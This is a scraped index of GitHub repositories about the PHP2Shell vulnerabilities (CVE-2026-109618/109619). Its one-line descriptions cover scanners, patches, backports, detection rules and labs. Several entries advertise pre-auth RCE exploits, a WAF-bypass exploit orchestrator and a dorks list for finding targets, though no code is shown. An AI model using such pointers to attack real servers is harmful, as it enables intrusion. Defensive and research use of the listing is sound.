leonewt0n/php2shell-poc
PHP2Shell — PHP session upload-progress RCE & memory disclosure research (CVE-2026-109618 / CVE-2026-109619): exploits, ...
|
leonewt0n | 2 | 1 | 2026-10-22 | View |
|
kunshdeep2812/php2shell-scanner
Check if your server is vulnerable to PHP2Shell (CVE-2026-109618 & CVE-2026-109619). Free, open-source scanner with GUI ...
|
kunshdeep2812 | 3 | 0 | 2026-10-22 | View |
|
bladehstream/php2shell_detect
Non destructive scanner for PHP instances vulnerable to CVE-2026-109618 and CVE-2026-109619
|
bladehstream | 1 | 2 | 2026-10-21 | View |
|
pattingbabies/php2shell-CVE-2026-109618-109619
Full 1:1 reproduction of php2shell (CVE-2026-109618 / CVE-2026-109619): pre-auth PHP RCE via session.upload_progress OOM...
|
pattingbabies | 2 | 1 | 2026-10-22 | View |
|
open0x01/php2shell
CVE-2026-109618 / CVE-2026-109619 PHP PoC and exploit tool (single-file Go)
|
open0x01 | 3 | 0 | 2026-10-22 | View |
|
geforester/php7.4-focal-php2shell
php7.4 7.4.33-31 (Surý) with php2shell fix CVE-2026-109618/109619, rebuilt for Ubuntu 20.04 focal amd64 — all 38 package...
|
geforester | 3 | 0 | 2026-10-21 | View |
|
alham-rizvi/php2shell-scanner
GO based scanner for PHP2SHELL(CVE-2026-109618 and CVE-2026-109619)
|
alham-rizvi | 3 | 0 | 2026-10-22 | View |
|
cyberkiddle/CVE-2026-109618
The vulneurability causes RCE ending
|
cyberkiddle | 2 | 1 | 2026-10-21 | View |
|
revonnet/php-fix
Emergency mitigation for php2shell (CVE-2026-109618 / CVE-2026-109619) - Author: Revonnet EOOD
|
revonnet | 3 | 0 | 2026-10-21 | View |
|
AmpedWasTaken/PHP2Shell-CVE-2026-109618-CVE-2026-109619
|
AmpedWasTaken | 2 | 1 | 2026-10-21 | View |
|
jf0x3f/php2shell-pocs
Local Docker trigger reproductions for PHP CVE-2026-109618 and CVE-2026-109619 advisories
|
jf0x3f | 2 | 1 | 2026-10-21 | View |
|
Faizan-Khanx/php2shell
PHP2Shell: Pre-Auth Remote Code Execution (RCE) in PHP Core (CVE-2026-109618 & CVE-2026-109619) Verified PoC Exploit, Se...
|
Faizan-Khanx | 1 | 2 | 2026-10-21 | View |
|
zenzue/CVE-2026-109618_19
|
zenzue | 2 | 1 | 2026-10-21 | View |
|
josemingorance/php74-php2shell-backport-docker
php:7.4-fpm rebuilt from source with the official PHP2Shell backport (CVE-2026-109618 / CVE-2026-109619): the three thin...
|
josemingorance | 2 | 1 | 2026-10-21 | View |
|
gumerzzzindo/php2shell-CVE-2026-109618-109619
Crónica y PoC del patch-day de PHP (21-oct-2026): CVE-2026-109618 / CVE-2026-109619 — RCE pre-auth en mod_php. Primitiva...
|
gumerzzzindo | 3 | 0 | 2026-10-21 | View |
|
SamJUK/php2shell-check-cve-2026-109618
Safely verify the October 2026 PHP OOM security fixes by testing patched runtime behaviour
|
SamJUK | 3 | 0 | 2026-10-21 | View |
|
lzz0403/CVE-2026-109618-PHP2Shell-poc
PHP 8.2.6 + Apache mod_php
|
lzz0403 | 3 | 0 | 2026-10-21 | View |
|
Marven11/PHP2Shell-PoC
The PoC of CVE-2026-109618 and CVE-2026-109619
|
Marven11 | 2 | 1 | 2026-10-21 | View |
|
NELDI24git/php2shell-lab
Lab reproduction, exposure probe and detection content for CVE-2026-109618 / CVE-2026-109619 (PHP2Shell). Defensive rese...
|
NELDI24git | 2 | 0 | 2026-10-28 | View |
|
SirjanSingh/php2shell-check
Defensive checker for the PHP2Shell RCE (CVE-2026-109618/109619): is the patch actually running, log scan back to Oct 17...
|
SirjanSingh | 2 | 0 | 2026-10-23 | View |
|
erdemkayar/php2shell-scan
Exposure triage, host verification and remediation tracking for PHP2Shell (CVE-2026-109618 / CVE-2026-109619)
|
erdemkayar | 2 | 0 | 2026-10-27 | View |
|
Pr0fEs0r-X/PHP2ShellX-CVE-2026-109618-109619
Script que detecta si tu versión de PHP es vulnerable a PHP2Shell (CVE-2026-109618 / 109619)
|
Pr0fEs0r-X | 2 | 0 | 2026-10-23 | View |
|
kipmyk/PHP2Shell
A local Docker-based research lab for investigating PHP2Shell (CVE-2026-109618 and CVE-2026-109619), comparing PHP 8.4.2...
|
kipmyk | 2 | 0 | 2026-10-25 | View |
|
testerxma/php2shell
Next-generation exploit orchestrator for CVE-2026-109618/619 — adds Cloudflare WAF bypass, flexible target specification...
|
testerxma | 2 | 0 | 2026-10-25 | View |
|
codiobert/runcloud-php2shell-patch
Build script for PHP (7.2 - 8.1) binaries mitigating PHP2Shell (CVE-2026-109618, CVE-2026-109619) on RunCloud Ubuntu ser...
|
codiobert | 2 | 0 | 2026-10-25 | View |
|
naravid19/php2shell-ioc
Curated IoCs, detection engineering rules, and automated threat intel feeds for PHP2Shell (CVE-2026-109618 & CVE-2026-10...
|
naravid19 | 2 | 0 | 2026-10-25 | View |
|
darkLabz001/php2shell-audit
Exposure scanner, patch verifier and threat hunter for CVE-2026-109618/9, with a cyberpunk TUI.
|
darkLabz001 | 2 | 0 | 2026-10-25 | View |
|
egctl/php2shell
CVE-2026-109618 PoC tool — OOM ghost bucket trigger in PHP POST parsing (CVSS 9.2)
|
egctl | 2 | 0 | 2026-10-24 | View |
|
MomoRizza/php2shell
CVE-2026-109618/109619 — PHP session.upload_progress pre-auth RCE toolkit + hands-on labs
|
MomoRizza | 1 | 1 | 2026-10-23 | View |
|
zake1god/php2shell
Loopback-only PHP2Shell research lab for CVE-2026-109618 and CVE-2026-109619
|
zake1god | 1 | 1 | 2026-10-23 | View |
|
sonuoffsec/php2shell-detector
Passive, evidence-first Chrome extension for PHP2Shell (CVE-2026-109618 / CVE-2026-109619) exposure assessment
|
sonuoffsec | 2 | 0 | 2026-10-23 | View |
|
abenezer101/php2shell
Scans a domain for CVE-2026-109618 / CVE-2026-109619 (php2shell) exposure, then audits and fixes the vulnerable PHP runt...
|
abenezer101 | 2 | 0 | 2026-10-23 | View |
|
Secragon/php2shell-radar
Portable PHP asset discovery and exposure scanner for CVE-2026-109618 and CVE-2026-109619.
|
Secragon | 2 | 0 | 2026-10-23 | View |
|
Chr1s-T/php2shell-cve-2026-109618
PHP2Shell (CVE-2026-109618/109619): mod_php pre-auth heap-corruption RCE — working PoC, non-destructive checker, per-bui...
|
Chr1s-T | 2 | 0 | 2026-10-23 | View |
|
yzw641725631-boop/windows-php7-security-backports-for-PHP2Shell
php7-security-backports-for-PHP2Shell，(CVE-2026-109618 、 CVE-2026-109619)
|
yzw641725631-boop | 1 | 1 | 2026-10-23 | View |
|
moonkit02/php2shell-poc
CVE-2026-109618/109619 — 5 RCE chains + detection rules (Suricata, Sigma, ModSecurity). PHP session.upload_progress pre-...
|
moonkit02 | 2 | 0 | 2026-10-23 | View |
|
Pr0fEs0r-X/PHP2ShellX-
Script que detecta si tu versión de PHP es vulnerable a PHP2Shell (CVE-2026-109618 / 109619)
|
Pr0fEs0r-X | 2 | 0 | 2026-10-23 | View |
|
xaviware/go-php2shell-scanner-CVE-2026-109618-CVE-2026-109619
Fast, passive PHP vulnerability scanner in Go for php2shell (CVE-2026-109618 / CVE-2026-109619): subdomain discovery, CI...
|
xaviware | 2 | 0 | 2026-10-22 | View |
|
JoasASantos/php2shell-lab
PHP2Shell (CVE-2026-109618/619) exploitation lab — hands-on course container with vulnerable PHP + WordPress
|
JoasASantos | 2 | 0 | 2026-10-22 | View |
|
ctkqiang/PHP2ShellPOC2026
A passive exposure analyzer for the PHP2Shell bug class (CVE-2026-109618 and CVE-2026-109619). Point it at a URL and it ...
|
ctkqiang | 2 | 0 | 2026-10-22 | View |
|
fletto2/php56-php2shell-patches
PHP 5.6.40 fix for CVE-2026-109618 and CVE-2026-109619 (PHP2Shell)
|
fletto2 | 1 | 1 | 2026-10-22 | View |
|
psylinux/php2shell-check
Non-destructive exploitability checker for PHP2Shell (CVE-2026-109618/109619) — probes whether the session.upload_progre...
|
psylinux | 2 | 0 | 2026-10-22 | View |
|
bashclub/php2shell-forensic-check
Lightweight forensic scanner and IOC checker for PHP2Shell (CVE-2026-109618 / CVE-2026-109619) targeting Debian, LXC, an...
|
bashclub | 2 | 0 | 2026-10-22 | View |
|
leonlai-tw/php-eol-cve-2026-109618-109619
Unofficial patches for PHP CVE-2026-109618 / CVE-2026-109619 (RCE, CVSS 9.2) on EOL platforms: PHP 7.3 on CentOS/RHEL 7 ...
|
leonlai-tw | 1 | 1 | 2026-10-22 | View |
|
securibee/php2shell-tenable-skill
Claude Code skill: PHP2Shell (CVE-2026-109618/109619) exposure report from the Tenable Hexa AI MCP as HTML, PDF and CSV
|
securibee | 1 | 1 | 2026-10-22 | View |
|
anmolksachan/php2shell
Pre-auth RCE lab for CVE-2026-109618/CVE-2026-109619 - PHP session.upload_progress heap chain
|
anmolksachan | 1 | 1 | 2026-10-21 | View |
|
viralchabhadiya/php-vulnerability-checker-and-fix
PHP vulnerability checker and fix: free read-only checker, guided patch script and AI agent skill for PHP2Shell (CVE-202...
|
viralchabhadiya | 1 | 1 | 2026-10-23 | View |
|
wemio/php2shell-scan
Defensive exposure and IOC scanner for PHP2Shell (CVE-2026-109618 / CVE-2026-109619). No exploit traffic.
|
wemio | 2 | 0 | 2026-10-23 | View |
|
CCNAHLHQ/php2shell_scan
🛡️ CVE-2026-109618 / CVE-2026-109619 PHP Exploit Scanner | *A unified scanner and exploitation tool for critical PHP vul...
|
CCNAHLHQ | 1 | 1 | 2026-10-22 | View |
|
kitten443/php2shell
Порт официального чекера PHP2Shell (CVE-2026-109618/109619) на Python 3: проверка версии PHP сайта или локального бинарн...
|
kitten443 | 2 | 0 | 2026-10-22 | View |
|
RuanSerraAzul/CVE-2026-109618-POC
CVE-2026-109618 - multipart OOM bailout corruption trigger (PHP < 8.2.35/8.3.36/8.4.27/8.5.12)
|
RuanSerraAzul | 2 | 0 | 2026-10-22 | View |
|
TheFool-TAROT/php2shell-lab
PHP2Shell (CVE-2026-109618 / CVE-2026-109619) — 8-version matrix, Docker labs, and measured boundaries: what works, what...
|
TheFool-TAROT | 2 | 0 | 2026-10-22 | View |
|
maxprog-svg/PHP2Shell-CVE-2026-109618-CVE-2026-109619
PHP2Shell — Exploit for CVE-2026-109618 / CVE-2026-109619
|
maxprog-svg | 1 | 1 | 2026-10-22 | View |
|
dustyFski/php2shell-exposure-accelerator
Deploy-your-own Azure solution: Azure AI Foundry multi-agent PHP2Shell (CVE-2026-109618/109619) exposure check, inventor...
|
dustyFski | 1 | 1 | 2026-10-22 | View |
|
PHPatch/phpscan
Free open-source scanner: is your PHP version vulnerable to php2shell (CVE-2026-109618 / CVE-2026-109619)? Disclosure-on...
|
PHPatch | 2 | 0 | 2026-10-22 | View |
|
mspiq/php2shell-scanner
php2shell vulnerability scanner (CVE-2026-109618 / CVE-2026-109619) — detects vulnerable PHP servers even when version i...
|
mspiq | 2 | 0 | 2026-10-22 | View |
|
BenFerguson310/Cloudflare-PHP2shell-Detections
Log-only Cloudflare WAF rule to detect php2shell (CVE-2026-109618 / CVE-2026-109619) targeting
|
BenFerguson310 | 1 | 1 | 2026-10-22 | View |
|
AIjennings/ariawave-php2shell-scanner
AriaWave PHP2Shell (CVE-2026-109618 & CVE-2026-109619) Defensive Readiness, SAPI, Apache RLimitMEM & INI Override Scanne...
|
AIjennings | 1 | 1 | 2026-10-22 | View |
|
Evil0ctal/php2shell-scanner
Detect & investigate the PHP session.upload_progress RCE (CVE-2026-109618 / CVE-2026-109619, php2shell): non-destructive...
|
Evil0ctal | 2 | 0 | 2026-10-22 | View |
|
thegillion/uisp-php2shell-guard
A temporary shield for **UISP servers running the CRM**, against the **PHP2Shell** vulnerabilities (CVE-2026-109618 and ...
|
thegillion | 2 | 0 | 2026-10-22 | View |
|
CompleteTech-LLC/php2shell-check
Passive PHP2Shell (CVE-2026-109618, CVE-2026-109619) exposure checker with branded HTML reports. Single-file Python, no ...
|
CompleteTech-LLC | 1 | 1 | 2026-10-21 | View |
|
nukIeer/CVE-2026-109618-109619-checker
Passive PHP version checker for CVE-2026-109618 / CVE-2026-109619 (php2shell)
|
nukIeer | 0 | 2 | 2026-10-21 | View |
|
hiramcoop/php2shellscan
Escáner defensivo por versión para detectar servidores PHP afectados por PHP2Shell (CVE-2026-109618 / CVE-2026-109619). ...
|
hiramcoop | 1 | 1 | 2026-10-21 | View |
|
xbuddhi/php2shell-fix
Find every PHP install on a server (distro packages, aaPanel/DirectAdmin/source builds) and fix CVE-2026-109618 / CVE-20...
|
xbuddhi | 2 | 0 | 2026-10-22 | View |
|
frnmrls/php70-cve-2026-backport
Unofficial minimal source backport of CVE-2026-109618 and CVE-2026-109619 (php2shell) for PHP 7.0.33
|
frnmrls | 2 | 0 | 2026-10-21 | View |
|
scadastrangelove/php2shell
php2shell defense tools. safechecks, suricata/snort rules, mod_sec for CVE-2026-109618 and CVE-2026-109619
|
scadastrangelove | 1 | 1 | 2026-10-21 | View |
|
BoheSama1999/php2shell-exp
Patch-derived PoC and RCE for the PHP session upload-progress pre-RINIT decode (CVE-2026-109618/109619)
|
BoheSama1999 | 2 | 0 | 2026-10-22 | View |
|
1amrahul/php2shell-cve-2026-109618-cve-2026-109619
Independent verification of CVE-2026-109618 & CVE-2026-109619 (php2shell): kernel-proven session-lock-leak DoS on PHP 8....
|
1amrahul | 2 | 0 | 2026-10-21 | View |
|
Galeax/PHP2Shell-Mitigations
Mitigations Windows et Linux pour PHP2Shell (CVE-2026-109618 et CVE-2026-109619)
|
Galeax | 2 | 0 | 2026-10-21 | View |
|
the-berlin/bitrixvm-php-hotfix
Срочное обновление PHP 8.2.34 → 8.2.35 на BitrixVM 9 сборкой из исходников (CVE-2026-109618, CVE-2026-109619)
|
the-berlin | 2 | 0 | 2026-10-21 | View |
|
Chrishow2/php74-apache-sury
Debian/Apache mod_php + Sury PHP 7.4 with php2shell EOL mitigation (CVE-2026-109618 / 109619). Bridge for legacy apps. P...
|
Chrishow2 | 2 | 0 | 2026-10-21 | View |
|
allureluoli/php2shell-lab
php2shell (CVE-2026-109618/619) differential lab: ASAN builds of PHP 8.4.26 vs 8.4.27, one two-request trigger, automati...
|
allureluoli | 2 | 0 | 2026-10-21 | View |
|
Poellie01/PHP2Shell-Verification-Script
Read-only verification PoC for CVE-2026-109618 / CVE-2026-109619 (php2shell). Checks PHP patch level remotely across a f...
|
Poellie01 | 2 | 0 | 2026-10-21 | View |
|
ivanscm/php80-cve-2026-109618
PHP 8.0.30 backport for CVE-2026-109618 / CVE-2026-109619 (Remi php80, EL7 RPMs)
|
ivanscm | 2 | 0 | 2026-10-21 | View |
|
cloudducoeur/ansible-playbook-CVE-2026-109618
Temp fix with Ansible (CVE-2026-109618/CVE-2026-109619)
|
cloudducoeur | 2 | 0 | 2026-10-21 | View |
|
AsviS/PHP2Shell
CVE-2026-109618/109619 PHP session.upload_progress Exploit Research — POC & Analysis
|
AsviS | 2 | 0 | 2026-10-21 | View |
|
zerbaliy3v/php2shell-CVE-2026-109618-CVE-2026-109619-Dorks
PHP2Shell PHP CVE-2026-109618 and CVE-2026-109619 dorks
|
zerbaliy3v | 1 | 1 | 2026-10-21 | View |
|
Fazmin/PHP2Shell-CVE-2026-109618-CVE-2026-109619-Mitigation-Info-PoC
Python monitor for CVE-2026-109618/109619. It covers patching, temporary risk reduction, suspicious PHP-worker child pro...
|
Fazmin | 1 | 1 | 2026-10-21 | View |
|
rodrigocolozio/php2shell-check
CVE-2026-109618 / CVE-2026-109619 (PHP2Shell) Vulnerability Checker — Detect vulnerable PHP installations across your fl...
|
rodrigocolozio | 2 | 0 | 2026-10-21 | View |
|
denizkoekden/php56-el-backports
PHP 5.6.40 with the deb.sury.org security backports (incl. CVE-2026-109618/109619), rebuilt as RPMs for CentOS/RHEL 6 an...
|
denizkoekden | 0 | 2 | 2026-10-21 | View |
|
sxyrxyy/php2shell-cve-2026-109618-check
Checks Linux and Windows servers for PHP CVE-2026-109618 / CVE-2026-109619 (php2shell) and offers fixes, asking before e...
|
sxyrxyy | 0 | 2 | 2026-10-21 | View |
|
nirzadokox/php2shell-vulnerability-check-for-CVE-2026-109618-CVE-2026-109619
vulnerability check for CVE-2026-109618 / CVE-2026-109619
|
nirzadokox | 1 | 1 | 2026-10-21 | View |
|
SPOTWHALE/php2shell-check
Check if your servers are affected by or compromised via php2shell (CVE-2026-109618 / CVE-2026-109619)
|
SPOTWHALE | 2 | 0 | 2026-10-21 | View |
|
stufently/php-patched-images
PHP 8.2-8.5 Docker images (cli/fpm/apache) patched for CVE-2026-109618 / CVE-2026-109619 (php2shell), multi-arch, on GHC...
|
stufently | 2 | 0 | 2026-10-21 | View |
|
al4n4n/php2shell
PHP2Shell (CVE-2026-109618, CVE-2026-109619): 100% reliable DoS PoC for Apache mod_php, with Docker lab and pcap
|
al4n4n | 2 | 0 | 2026-10-21 | View |
|
pruiz/php-CVE-2026-109618
Repo with stuff wrt CVE-2026-109618 backports & workarounds..
|
pruiz | 2 | 0 | 2026-10-21 | View |
|
rjmendez/phpup-2026
IOCs and detection rules for CVE-2026-109618 / CVE-2026-109619 (PHP session.upload_progress UAF)
|
rjmendez | 1 | 1 | 2026-10-21 | View |
|
WeaveHubHQ/cf-waf-bypass-check
Read-only audit that finds Cloudflare WAF rules that skip, disable, or downgrade Cloudflare Managed Rules (php2shell CVE...
|
WeaveHubHQ | 2 | 0 | 2026-10-21 | View |
|
orbitron-ai/php2shell-response-kit
php2shell response kit. (CVE-2026-109618 / CVE-2026-109619)
|
orbitron-ai | 1 | 1 | 2026-10-21 | View |
|
cm-suzuki-ryo/aws-waf-php2shell-post-guard
AWS WAF (REGIONAL) CloudFormation sample for ALB: block POST from outside Japan, rate-limit POST per IP and per TLS JA...
|
cm-suzuki-ryo | 2 | 0 | 2026-10-21 | View |
|
SquidSec/php2shell
php2shell (CVE-2026-109618 / CVE-2026-109619) — deliberately vulnerable PHP 8.4.26 lab with a patched 8.4.27 control and...
|
SquidSec | 1 | 0 | 2026-11-04 | View |
|
geokali21/PHP2SHELL-TRYHACKME-WALKTHROUGH
Walkthrough TryHackMe room php2shell — PHP-FPM memory disclosure & pre-auth RCE via upload_progress UAF (CVE-2026-109618...
|
geokali21 | 1 | 0 | 2026-11-02 | View |
|
mehmet-emir-eroglu/PHP2SHELL
Evidence-based PHP2Shell assessment for CVE-2026-109618 and CVE-2026-109619.
|
mehmet-emir-eroglu | 1 | 0 | 2026-11-01 | View |
|
esskslifetech/PROTECTION2Shell
Dependency-free toolkit that contains, patches and verifies the *2Shell families: PHP2Shell (CVE-2026-109618/109619), HT...
|
esskslifetech | 1 | 0 | 2026-11-01 | View |
|
esskslifetech/php-secure-patch
Bash toolkit that finds and fixes PHP CVEs — PHP2Shell (CVE-2026-109618/109619), CVE-2026-115560, CVE-2024-4577, CVE-201...
|
esskslifetech | 1 | 0 | 2026-10-31 | View |
|
dguerri/php2leak
Remote Zend MM ASLR leak testbed (PHP CVE-2026-109618 / CVE-2026-109619)
|
dguerri | 1 | 0 | 2026-10-28 | View |
|
IamLucif3r/CVE-2026-109618-exploit
[PHP2Shell] Golang exploit for CVE-2026-109618 / CVE-2026-109619: Unauthenticated RCE in PHP 5.4–8.5.11 via OOM corrupt...
|
IamLucif3r | 0 | 1 | 2026-10-28 | View |
|
Pratikchandrathakur/CVE-2026-109618-109619-checker
Passive PHP version checker for CVE-2026-109618 / CVE-2026-109619 (php2shell)
|
Pratikchandrathakur | 0 | 1 | 2026-10-22 | View |
|
matarturo/php2shell-nse-scanner
Script avanzado del motor de scripting de Nmap (NSE) diseñado para identificar vulnerabilidades de PHP2Shell (CVE-2026-1...
|
matarturo | 1 | 0 | 2026-10-28 | View |
|
tal7aouy/php2shell-scanner
Scanner for php2shell (CVE-2026-109618 and CVE-2026-109619)
|
tal7aouy | 1 | 0 | 2026-10-27 | View |
|
thetowsif/php2shell-scan-patch
Universal scanner and automated patching playbook for CVE-2026-109618 and CVE-2026-109619 ("PHP2Shell")
|
thetowsif | 1 | 0 | 2026-10-26 | View |
|
hack-ita/php2shell-cve-2026-109618-109619
|
hack-ita | 1 | 0 | 2026-10-26 | View |
|
RemiPelloux/php-upload-rce
Independent source-level analysis and detection tooling for the PHP session.upload_progress pre-RINIT use-after-free (CV...
|
RemiPelloux | 1 | 0 | 2026-10-21 | View |
|
gagaltotal/CVE-2026-109618-109619-php2shell
CVE-2026-109618-109619 PHP2shell
|
gagaltotal | 1 | 0 | 2026-10-26 | View |
|
franckferman/CVE-2026-109618
CVE-2026-109618 - PHP session.upload_progress Heap UAF Pre-Auth RCE (CVSS 9.2)
|
franckferman | 1 | 0 | 2026-10-26 | View |
|
jeffschafer/Bigfix-PHP-Vulnerability-Scanner-Content-CVE-2026-109618-CVE-2026-109619
Bigfix PHP Vulnerability Scanner Content (CVE-2026-109618, CVE-2026-109619) for Windows, Linux and Mac.
|
jeffschafer | 1 | 0 | 2026-10-25 | View |
|
delvin-45/php2shell-CVE-2026-109618-CVE-2026-109619-PoC
|
delvin-45 | 1 | 0 | 2026-10-25 | View |
|
mefulton/CVE-2026-109618-php56-public
Exact-build PHP 5.6 research and reproducible labs for CVE-2026-109618 and CVE-2026-109619
|
mefulton | 1 | 0 | 2026-10-25 | View |
|
tranlammankg/php2shell-scanner
Audit & Vulnerability Detection Scanner for PHP2Shell (CVE-2026-109618 & CVE-2026-109619) with Hardening Guidelines
|
tranlammankg | 1 | 0 | 2026-10-26 | View |
|
fernandotellado/php2shell-wordpress-check
A read-only Site Health check that compares the PHP version your site is running with the releases that fix PHP2Shell (C...
|
fernandotellado | 1 | 0 | 2026-10-25 | View |
|
ha1c9on/php2shell
php2shell(CVE-2026-109618 / CVE-2026-109619) EXP
|
ha1c9on | 1 | 0 | 2026-10-25 | View |
|
smile178998/php2shell-toolkit
CVE-2026-109618 PHP session.upload_progress detection & authorized testing toolkit
|
smile178998 | 1 | 0 | 2026-10-25 | View |
|
Opathedane/php2shell
Read-only PHP discovery and patch-review scanner for Windows, Linux, and macOS. Produces HTML+CSV reports for CVE-2026-1...
|
Opathedane | 1 | 0 | 2026-10-21 | View |
|
vaishnavucv/php2shell
PHP2Shell: finding and patching affected PHP CVE-2026-109618 and CVE-2026-109619
|
vaishnavucv | 1 | 0 | 2026-10-25 | View |
|
ZiarenEASM/php2shell-probe
Standalone detection probe for PHP2Shell (CVE-2026-109618 / CVE-2026-109619): passive version fingerprint by default, op...
|
ZiarenEASM | 1 | 0 | 2026-10-24 | View |
|
citypeople/php2shell
Check and patch all installed PHP versions against PHP2Shell (CVE-2026-109618, CVE-2026-109619) on Debian/Ubuntu with P...
|
citypeople | 1 | 0 | 2026-10-24 | View |
|
Nguemoue/project2026_20261024_php2shellcheck
One-file PHP check for the PHP2Shell fixes (CVE-2026-109618, CVE-2026-109619). No exploit, no network.
|
Nguemoue | 1 | 0 | 2026-10-24 | View |
|
devzyai/CVE-2026-109618-POC
A PHP app that ships an unpatched PHP runtime (PHP2Shell), for the Devzy scan to flag. No exploit code.
|
devzyai | 1 | 0 | 2026-10-24 | View |
|
EtherHamRadio/asl-node-check
A plain-language security check for AllStarLink 3 (ASL3) nodes. Checks for the PHP2Shell flaws (CVE-2026-109618, CVE-202...
|
EtherHamRadio | 1 | 0 | 2026-10-22 | View |
|
mostofajr7-sudo/CVE-2026-109618-CVE-2026-109619-php2shell-
MOSTAFA JR7 - Custom security research framework targeting PHP 8.4.26 Apache Prefork RCE and ASLR bypass.
|
mostofajr7-sudo | 1 | 0 | 2026-10-24 | View |
|
sajjadh47/php2shell-php
Detect php2shell (CVE-2026-109618 / CVE-2026-109619) on remote PHP targets — behavioral multipart probes, version fallba...
|
sajjadh47 | 1 | 0 | 2026-10-24 | View |
|
arvion-ai/php-pins
Find every PHP version your repositories pin, and what PHP2Shell (CVE-2026-109618, CVE-2026-109619) means for each. One ...
|
arvion-ai | 1 | 0 | 2026-10-24 | View |
|
hoed/php2shell
PHP Runtime Vulnerability Assessment Toolkit — CVE-2026-109618 & CVE-2026-109619
|
hoed | 1 | 0 | 2026-10-24 | View |
|
shivrajem/php2shell-detect
Detect systems affected by PHP2Shell (CVE-2026-109618 / CVE-2026-109619) on Unix and Windows
|
shivrajem | 1 | 0 | 2026-10-22 | View |
|
kaaangumus/php2shell-kit
Single-command wrapper for the php2shell toolkit (CVE-2026-109618 / CVE-2026-109619) - auto version detection, profile d...
|
kaaangumus | 1 | 0 | 2026-10-24 | View |
|
abraxas/php-oom-longjmp
PHP 8.4.26 - Critical - Remote - OOM longjmp - CVE-2026-109618 PHP2Shell. Unauth chunked multipart hits memory_limit bef...
|
abraxas | 1 | 0 | 2026-10-24 | View |
|
CyberRick-AI/php2shell-check
Passive, self-hosted PHP vulnerability exposure scanner (PHP2Shell CVE-2026-109618/109619, CVE-2026-115560) with a plain...
|
CyberRick-AI | 0 | 1 | 2026-10-23 | View |
|
spade-kk/php2shell-exploit
php2shell (CVE-2026-109618/109619) 利用工具：带来源与日期的指纹库、两条引擎、免 gdb 标定；含源码级结论——本链下限 PHP 7.0。
|
spade-kk | 0 | 1 | 2026-10-23 | View |
|
want3d04/woxeshell
Detection-only scanner for CVE-2026-109618 & CVE-2026-109619 (PHP). Authorized testing only.
|
want3d04 | 0 | 1 | 2026-10-23 | View |
|
debjit604/PHP2Shell-CVE-2026-109618-CVE-2026-109619
|
debjit604 | 1 | 0 | 2026-10-23 | View |
|
AdZoic/php2shell-check
Find every PHP install vulnerable to PHP2Shell (CVE-2026-109618, CVE-2026-109619) on hosts and container images. Single ...
|
AdZoic | 1 | 0 | 2026-10-23 | View |
|
GetPageSpeed/php2shell-check
Backport-aware PHP2Shell (CVE-2026-109618/109619) checker for installed PHP packages; knows distro and vendor fixed buil...
|
GetPageSpeed | 1 | 0 | 2026-10-23 | View |
|
php2-shell/php2shell-POC-CVE-2026-109618-CVE-2026-109619
php2shell CVE-2026-109618 CVE-2026-109619 tracks php2shell, cve php2shell and php2shell cve. php2shell vulnerability plu...
|
php2-shell | 1 | 0 | 2026-10-23 | View |
|
nestorwheelock/php2shell-remediate
CVE-2026-109618/109619 (php2shell) PHP exposure classifier and remediation planner. BSD-2-Clause.
|
nestorwheelock | 1 | 0 | 2026-10-23 | View |
|
xC0D3F4TH3R/PHP2SHELL-DEFENSIVE-KIT
Defensive research and tooling for PHP2Shell (CVE-2026-109618 / CVE-2026-109619)** - two critical memory-safety vulnerab...
|
xC0D3F4TH3R | 1 | 0 | 2026-10-23 | View |
|
tuanhoma/CVE-2026-109618
|
tuanhoma | 1 | 0 | 2026-10-23 | View |
|
tsepangnkoe/php2shell-audit
Safe, passive PHP2Shell (CVE-2026-109618/109619) exposure checker with CLI + web UI. Published by LsCom CSIRT.
|
tsepangnkoe | 0 | 1 | 2026-10-23 | View |
|
LeisureLinux/php2shell
Two PHP session CVEs (CVE-2026-109618, CVE-2026-109619) — reproducible exploits: pure-HTTP ASLR bypass and unserialize-t...
|
LeisureLinux | 1 | 0 | 2026-10-23 | View |
|
AbodyStudio/php2shell-shield
Risk-reduction WordPress plugin for the PHP2Shell exploit (CVE-2026-109618 / CVE-2026-109619) on sites that cannot updat...
|
AbodyStudio | 1 | 0 | 2026-10-23 | View |
|
lankahost/lankahost-php-patch-check
Check whether a website’s PHP is patched against CVE-2026-109618 / CVE-2026-109619. Works on cPanel ea-php and CloudLinu...
|
lankahost | 1 | 0 | 2026-10-22 | View |
|
it-reinbek/php2shell-auditor
Interactive Bash audit & remediation tool for PHP2Shell (CVE-2026-109618/109619). Features live Docker inspection, rever...
|
it-reinbek | 1 | 0 | 2026-10-22 | View |
|
JoshRob297/php2shell-research
In-depth technical verification, ASLR boundary analysis, and memory defaults impact for CVE-2026-109618 & CVE-2026-10961...
|
JoshRob297 | 1 | 0 | 2026-10-22 | View |
|
iSecNG/php2shell-honeypot
Honeypot to attract attacks for php2shell (CVE-2026-109618 and CVE-2026-109619)
|
iSecNG | 1 | 0 | 2026-10-22 | View |
|
prox3000/php-7.4-focal-cve-patched
Backport of CVE-2026-109618 and CVE-2026-109619 fixes for PHP 7.4 on Ubuntu 20.04 Focal
|
prox3000 | 1 | 0 | 2026-10-22 | View |
|
dexteon/php2shell-poc
Refactored POC for CVE-2026-109618/109619 php2shell
|
dexteon | 0 | 1 | 2026-10-22 | View |
|
Jamsux/php2shell-check
Verifica se um servidor Linux está vulnerável ao php2shell (CVE-2026-109618 / CVE-2026-109619)
|
Jamsux | 1 | 0 | 2026-10-22 | View |
|
LHeiakim/php2shell-full-poc
CVE-2026-109618 / CVE-2026-109619 - one-shot pre-auth RCE on stock PHP 8.4.26 (Apache mod_php), single-file pure-HTTP Po...
|
LHeiakim | 1 | 0 | 2026-10-22 | View |
|
bagsiz/el7-php74-security
Patched PHP 7.4 RPMs for CentOS 7 (Remi php-* and php74-php-*) fixing CVE-2026-109618 / CVE-2026-109619: Remi's 7.4.33-3...
|
bagsiz | 0 | 1 | 2026-10-22 | View |
|
acronet-fr/windows-security-builds-for-php
Unofficial Windows x64 builds of PHP 7.4.33, 8.0.30 and 8.1.34 patched for CVE-2026-109618 and CVE-2026-109619 (php2shel...
|
acronet-fr | 1 | 0 | 2026-10-22 | View |
|
gei-git/php2shell-poc
CVE-2026-109618和CVE-2026-109619 检测
|
gei-git | 0 | 1 | 2026-10-22 | View |
|
runasy-koonta/php2shell-7.4.33-poc
CVE-2026-109618 PoC for PHP 7.4.33
|
runasy-koonta | 1 | 0 | 2026-10-22 | View |
|
latadeloco/agent-php2shell
Agente de seguridad que detecta y tria php2shell (CVE-2026-109618/109619) en webs y proyectos PHP. Instalable en opencod...
|
latadeloco | 1 | 0 | 2026-10-22 | View |
|
namest504/PHP2Shell-Poc
